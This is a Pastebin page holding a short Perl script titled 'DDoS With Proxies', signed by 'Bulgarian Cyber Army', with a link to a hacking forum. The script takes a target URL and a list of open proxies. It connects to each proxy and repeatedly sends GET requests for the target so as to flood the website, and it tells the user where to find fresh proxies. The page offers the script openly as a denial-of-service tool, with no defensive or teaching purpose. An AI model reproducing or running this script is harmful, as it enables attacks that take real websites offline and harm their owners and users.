Advertisement
TP2K1

[PERL] DDoS With Proxies

Jun 17th, 2015
1,371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. print "\n\n\n[DDoS with proxies by CyberLord 2013]\n";
  4. print "[GET FRESH PROXY LIST FROM: http://nntime.com/]\n";
  5. print "The proxy list must be like this:\n";
  6. print "89.218.100.58:9090\n82.200.253.242:9090\n2.135.24 2.10:9090\n2.133.93.86:8082\n";
  7. print "[Bulgarian Cyber Army]\n\n\n";
  8. print "Target:";
  9. print "\nEx: http://site.com/\n";
  10. chomp(my $site=<STDIN>);
  11. print "Proxy List:";
  12. print "\nEx: proxy.txt\n";
  13. chomp(my $proxylist=<STDIN>);
  14. print "Cycles:";
  15. print "\nEx: 2\nIf the online proxies from the list is 360 the connections will be 720\n";
  16. chomp(my $num=<STDIN>);
  17. open(IN, "<$proxylist") || die "Cannot open proxylist file!\n";
  18. @proxylist = <IN>;
  19. close(IN);
  20. print "Connecting . . . .\n";
  21. foreach $proxy(@proxylist){
  22. $server = ((split(/:/, $proxy))[0]);
  23. $port = ((split(/:/, $proxy))[1]);
  24. $remote = IO::Socket::INET->new(
  25. Proto => 'tcp',
  26. PeerAddr => $server,
  27. PeerPort => $port,
  28. Timeout => 0.5,
  29. );
  30. $i2++;
  31. if($remote){
  32. $i4++;
  33. $connections[$i4] = $remote;
  34. }
  35. }
  36. while($i3 <= ($num-1)){
  37. $i3++;
  38. foreach $connect(@connections){
  39. if($connect){
  40. if($i3 == 1){
  41. $i++;
  42. }
  43. $i5++;
  44. print $connect "GET $site HTTP/1.1\n\n";
  45. }
  46. }
  47. }
  48.  
  49. print $i2." proxies and ".$num." cycles with ".$i5." connections from ".$i." proxies online.";
  50.  
  51. Read more: http://www.bitshacking.com/forum/python-delphi/17974-perl-ddos-proxies.html#ixzz3dIavYQlD
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement